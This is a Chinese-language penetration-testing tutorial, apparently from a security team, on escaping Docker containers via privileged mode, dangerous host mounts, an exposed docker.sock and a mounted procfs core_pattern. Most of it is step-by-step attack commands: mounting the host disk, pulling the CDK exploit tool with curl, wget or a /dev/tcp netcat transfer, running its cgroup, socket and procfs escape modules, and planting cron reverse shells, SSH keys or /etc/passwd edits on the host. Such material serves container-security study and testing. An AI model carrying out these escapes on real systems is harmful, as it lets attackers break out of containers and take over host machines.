1. docker逃逸类型
当需要一个容器管理其他容器的时候会使用这个指令
原理:执行docker run –privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
(使用这个参数docker的权限是最高的,一个是他可以和宿主机使用相同的内核,另一个是允许容器访问宿主机上的所有设备)
vulhub的unauthorized-rce可以看到也是这个
复现环境
使用特权模式启动一个容器:
sudo docker run -it --privileged --rm ubuntu:latest /bin/bash
挂载宿主机磁盘进行利用
查看磁盘状态
ls /dev 这个目录是和宿主机共享的 或 fdisk -l
我们可以发现有很多tty终端,一般来说容器是不会有这么多的,这就是说明了这是宿主机的磁盘目录
新建目录并挂载宿主机磁盘
mkdir /test mount /dev/vda1 /test
挂载成功后即可访问宿主机磁盘,可以写入计划任务反弹shell 或公钥操作
由于虚拟机使用的磁盘类型为LVM,所以无法挂载成功,但是如果有特权,还有以下的方式可以利用
挂载cgroup
该脚本将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
使用工具复现
https://github.com/cdk-team/CDK
(1)上传工具
1.1 HTTP下载
curl http://192.168.52.1/cdk_linux_amd64 -o cdk wget http://192.168.52.1/cdk_linux_amd64
1.2 NC上传
- 服务端
```bash
nc -lvnp 12345 < cdk_linux_amd64容器cat < /dev/tcp/IP/端口 > cdk chmod 777 cdk
```
1.3直接从宿主机复制过去
```bash
docker cp /root/cdk ccb7a70e8f10:/
```
(2)进行利用
chmod 777 cdk ./cdk run mount-cgroup "whoami"
2. 挂载宿主机危险目录
原理和上面差不多,宿主机运行容器时通过 -v 宿主机目录:容器目录
把一些危险目录例如 /var/etc/root
或 /
挂载进了容器中, 这些目录都有一些利用方式进行利用
查看容器内的挂载情况
docker run -it -v /root:/tmp/root --rm ubuntu:latest /bin/bash
cat /proc/mounts
或 cat /etc/mtab
mount
或 findmnt
可以看到文件和宿主机的文件一样
利用方式
- 写计划任务
- 写公钥
- 修改/etc/passwd
- 写自启动
3.挂载docker.sock
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
unix:///var/run/docker.sock(默认,这个文件和2375端口的作用是一样的)
tcp://host:port
fd://socketfd
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信,即给予容器控制宿主机上Docker实例的能力
复现环境
挂载进来就可以用docker命令操作宿主机了,需求是通过一个容器管理其他容器
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock -v ~/cdk:/tmp/cdk ubuntu /bin/bash
如果hfish有被getshell其实也是可以逃逸到宿主机的
复现
1.安装docker客户端
apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
2.在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部host目录中。
docker run -it -v /:/host ubuntu /bin/bash
3.逃逸成功,host目录中已经看到宿主机上的文件,后续利用可以在宿主机本身创建定时任务反弹shell。
退出容器时要退出两次才能到宿主机。
CDK复现
#检测 ./cdk run docker-sock-check /var/run/docker.sock #写文件 ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/success1"
4. 挂载宿主机procfs
procfs是一个伪文件系统,动态反映系统内进程及其他组件的状态,有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(默认情况下不会为容器开启User Namespace)
在以下场景可能会将宿主机的procfs挂载进容器:
- 容器需要监控宿主机的系统状态或调试宿主机的进程
- 容器需要直接与宿主机的内核交互。
- 某些工具或应用依赖于 /proc 中的信息。
在 core_pattern 配置中,如果指定了一个以管道符 | 开头的命令或脚本,系统在崩溃时会将核心转储数据通过管道传递给指定的程序或脚本执行。(宿主机执行)
复现环境
docker run -it --rm -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern -v /root/cdk:/root/cdk ubuntu /bin/bash
复现步骤
- 检查proc 是否有挂载, 检查是否存在两个core_pattern文件
findmnt |grep proc find / -name core_pattern
- 使用工具
export GOTRACEBACK=crash #(可选) ./cdk run mount-procfs /host/proc "touch /tmp/success1"
作者:晨星安全团队 tblr